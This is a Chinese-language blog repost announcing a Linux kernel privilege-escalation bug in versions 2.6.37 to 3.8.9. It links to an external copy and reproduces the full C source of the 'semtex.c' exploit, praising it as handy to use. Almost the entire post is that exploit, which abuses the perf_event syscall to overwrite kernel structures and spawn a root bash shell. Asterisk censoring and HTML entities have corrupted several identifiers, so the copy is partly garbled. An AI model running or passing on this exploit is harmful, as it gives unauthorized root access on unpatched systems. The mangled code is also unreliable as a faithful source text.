国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞

hacker5年前 (2020-05-31)黑客文章1237

国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞，成功利用该漏洞可能获得特权用户，还算新鲜，转来给大家看看。比较好用的~

http:// *** sheep.org/~sd/warez/semtex.c

linux 2.6.37-3.x.x x86_64, ~100 LOC

		
								/*
							
								 * linux 2.6.37-3.x.x x86_64, ~100 LOC
							
								 * gcc-4.6 -O2 semtex.c && ./a.out
							
								 * 2010 sd@ *** sheep.org, salut!
							
								 *
							
								 * update may 2013:
							
								 * seems like centos 2.6.32 backported the perf bug, lol.
							
								 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
							
								 */
							
								#define _GNU_SOURCE 1
							
								#include <stdint .h>
							
								#include <stdio .h>
							
								#include <stdlib .h>
							
								#include <string .h>
							
								#include <unistd .h>
							
								#include <sys /mman.h>
							
								#include <syscall .h>
							
								#include <stdint .h>
							
								#include <assert .h>
							
								#define BASE  0x380000000
							
								#define SIZE  0x010000000
							
								#define KSIZE  0x2000000
							
								#define AB(x) ((uint64_t)((0xababababLL< &lt;32)^((uint64_t)((x)*313337))))
							
								void  *** () {
							
								int i,j,k;
							
								uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
							
								uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
							
								uint64_t kbase = ((uint64_t)current)>>36;
							
								uint32_t *fixptr = (void*) AB(1);
							
								*fixptr = -1;
							
								for (i=0; i&lt;4000; i+=4) {
							
								uint64_t *p = (void *)&current[i];
							
								uint32_t *t = (void*) p[0];
							
								if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
							
								for (j=0; j&lt;20; j++) { for (k = 0; k < 8; k++)
							
								if (((uint32_t*)uids)[k] != t[j+k]) goto next;
							
								for (i = 0; i < 8; i++) t[j+i] = 0;
							
								for (i = 0; i < 10; i++) t[j+9+i] = -1;
							
								return;
							
								next:; }
							
								}
							
								}
							
								void sheep(uint32_t off) {
							
								uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
							
								int fd = syscall(298, buf, 0, -1, -1, 0);
							
								assert(!close(fd));
							
								}
							
								int main() {
							
								uint64_t  u,g,needle, kbase, *p; uint8_t *code;
							
								uint32_t *map, j = 5;
							
								int i;
							
								struct {
							
								uint16_t limit;
							
								uint64_t addr;
							
								} __attribute__((packed)) idt;
							
								assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
							
								memset(map, 0, SIZE);
							
								sheep(-1); sheep(-2);
							
								for (i = 0; i < SIZE/4; i++) if (map[i]) {
							
								assert(map[i+1]);
							
								break;
							
								}
							
								assert(i<SIZE/4);
							
								a ***  ("sidt %0" : "=m" (idt));
							
								kbase = idt.addr & 0xff000000;
							
								u = getuid(); g = getgid();
							
								assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
							
								memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, & *** , 1024);
							
								memcpy(code-13,"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf",
							
								printf("2.6.37-3.x x86_64\nsd@ *** sheep.org 2010\n") % 27);
							
								setresuid(u,u,u); setresgid(g,g,g);
							
								while (j--) {
							
								needle = AB(j+1);
							
								assert(p = memmem(code, 1024, &needle, 8));
							
								if (!p) continue;
							
								*p = j?((g<&lt;32)|u):(idt.addr + 0x48);
							
								}
							
								sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
							
								a *** ("int $0x4"); assert(!setuid(0));
							
								return execl("/bin/bash", "-sh", NULL);
							
								}